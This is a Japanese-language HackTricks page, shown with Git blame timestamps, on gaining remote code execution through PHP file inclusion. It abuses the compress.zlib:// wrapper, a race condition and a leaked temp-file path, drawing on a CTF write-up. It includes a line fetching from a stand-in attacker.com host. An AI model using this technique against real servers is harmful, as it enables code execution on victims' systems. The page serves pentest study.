hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

92 lines
6.1 KiB
Markdown
Raw Normal View History

# LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアに侵害された**かどうかを確認するための**無料**機能を提供しています。
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
***
2022-04-28 16:01:33 +00:00
### `compress.zlib://` と `PHP_STREAM_PREFER_STDIO`
2022-04-21 00:07:27 +00:00
`PHP_STREAM_PREFER_STDIO` フラグを使用して `compress.zlib://` プロトコルで開かれたファイルは、後で接続に到着するデータを書き続けることができます。
2022-04-21 00:07:27 +00:00
これは、次のような呼び出しを意味します:
2022-04-21 00:07:27 +00:00
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
http://attacker.com/fileへのリクエストを送信します。その後、サーバーは有効なHTTPレスポンスでリクエストに応答し、接続を維持し、後でファイルに書き込まれる追加データを送信する可能性があります。
2022-04-21 00:07:27 +00:00
この情報は、php-srcコードのmain/streams/cast.cのこの部分で確認できます:
2022-04-21 00:07:27 +00:00
```c
/* Use a tmpfile and copy the old streams contents into it */
2023-07-07 23:42:27 +00:00
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
2022-04-21 00:07:27 +00:00
```
### レースコンディションによるRCE
[**このCTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)は、前のトリックを使用して解決されました。
攻撃者は、**攻撃者のサーバーからファイルを読み取る接続を被害者サーバーに開かせます**。これは、**`compress.zlib`**プロトコルを使用します。
**接続**が存在している間、攻撃者は**作成された一時ファイルのパスを外部に流出させます**(サーバーによって漏洩されます)。
**接続**がまだ開いている間、攻撃者は**自分が制御する一時ファイルを読み込むLFIを悪用します**。
2022-04-21 00:07:27 +00:00
しかし、ウェブサーバーには、**`<?`を含むファイルの読み込みを防ぐチェックがあります**。したがって、攻撃者は**レースコンディション**を悪用します。まだ開いている接続の中で、**攻撃者**は**ウェブサーバーがファイルに禁止された文字が含まれているかをチェックした後に**PHPペイロードを**送信しますが、**その内容を読み込む前に**行います。
2022-04-21 00:07:27 +00:00
詳細については、[https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)のレースコンディションとCTFの説明を確認してください。
2022-04-28 16:01:33 +00:00
#### [WhiteIntel](https://whiteintel.io)
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害された**かどうかを確認するための**無料**機能を提供しています。
2022-04-28 16:01:33 +00:00
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}